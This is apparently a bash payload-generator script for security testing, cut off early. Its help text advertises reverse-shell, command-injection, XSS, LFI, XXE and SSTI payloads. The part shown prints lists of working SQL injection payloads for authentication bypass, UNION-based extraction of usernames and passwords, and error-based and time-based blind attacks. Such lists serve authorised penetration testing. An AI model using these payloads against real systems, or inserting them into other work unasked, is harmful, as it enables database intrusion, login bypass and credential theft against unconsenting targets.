#!/usr/bin/env bash set -euo pipefail # Script Name: payload # Description: Security payload generator with encoding and obfuscation # Usage: payload list # List payload types # payload sql basic # Generate basic SQL injection payloads # payload xss reflected # Generate reflected XSS payloads # payload cmd linux # Generate Linux command injection payloads # payload shell reverse 10.0.0.1 # Generate reverse shell payloads VERSION="1.0.0" # Colors readonly RED='\033[0;31m' readonly GREEN='\033[0;32m' readonly YELLOW='\033[1;33m' readonly BLUE='\033[0;34m' readonly CYAN='\033[0;36m' readonly MAGENTA='\033[0;35m' readonly BOLD='\033[1m' readonly NC='\033[0m' show_help() { echo -e "${BOLD}payload${NC} - Security Payload Generator v${VERSION}" echo echo -e "${BOLD}USAGE:${NC}" echo " payload [OPTIONS]" echo echo -e "${BOLD}TYPES:${NC}" echo -e " ${CYAN}sql${NC} SQL injection payloads" echo -e " ${CYAN}xss${NC} Cross-site scripting payloads" echo -e " ${CYAN}cmd${NC} Command injection payloads" echo -e " ${CYAN}shell${NC} Reverse/bind shell payloads" echo -e " ${CYAN}lfi${NC} Local file inclusion payloads" echo -e " ${CYAN}xxe${NC} XML external entity payloads" echo -e " ${CYAN}ssti${NC} Server-side template injection" echo -e " ${CYAN}list${NC} List all available payloads" echo echo -e "${BOLD}EXAMPLES:${NC}" echo " payload list" echo " payload sql basic" echo " payload xss reflected" echo " payload cmd linux" echo " payload shell reverse 10.10.14.5 4444" echo " payload lfi linux" echo " payload xxe basic" echo echo -e "${BOLD}OPTIONS:${NC}" echo -e " ${CYAN}-e, --encode${NC} Encode payloads (base64, url, hex)" echo -e " ${CYAN}-o, --output${NC} Output to file" echo -e " ${CYAN}-c, --copy${NC} Copy to clipboard" echo -e " ${CYAN}-h, --help${NC} Show this help" } # Clipboard helper clip_set() { if command -v xsel &>/dev/null; then xsel --input --clipboard elif command -v xclip &>/dev/null; then xclip -selection clipboard elif command -v pbcopy &>/dev/null; then pbcopy fi } # SQL Injection Payloads generate_sql() { local variant="${1:-basic}" case "$variant" in basic) cat << 'EOF' # Basic SQL Injection ' OR '1'='1 ' OR '1'='1' -- ' OR '1'='1' /* admin' -- admin' # ' OR 1=1-- ' OR 1=1# ' OR 1=1/* ') OR '1'='1-- ') OR ('1'='1-- # Union-based ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- # Error-based ' AND 1=CONVERT(int,(SELECT @@version))-- ' AND 1=CAST((SELECT @@version) AS int)-- # Time-based blind '; WAITFOR DELAY '0:0:5'-- '; SELECT SLEEP(5)-- ' AND SLEEP(5)-- EOF ;; auth-bypass) cat << 'EOF' # Authentication Bypass admin' OR '1'='1 admin' OR 1=1-- ' OR 'a'='a ' OR 1=1 LIMIT 1-- admin'/* ' OR '1'='1'-- ' OR '1'='1'# ' OR '1'='1'/* ') OR ('1'='1 admin') OR ('1'='1 admin') OR '1'='1'-- EOF ;; union) cat << 'EOF' # UNION-based SQL Injection ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- ' UNION SELECT NULL,NULL,NULL,NULL-- ' UNION SELECT 1,2,3-- ' UNION SELECT username,password FROM users-- ' UNION ALL SELECT NULL-- ' UNION ALL SELECT NULL,NULL-- -1' UNION SELECT NULL-- EOF ;; *) echo -e "${RED}Unknown SQL variant:${NC} $variant" echo "Available: basic, auth-bypass, union" return 1 ;; esac } # XSS Payloads generate_xss() { local variant="${1:-basic}" case "$variant" in basic|reflected) cat << 'EOF' # Basic XSS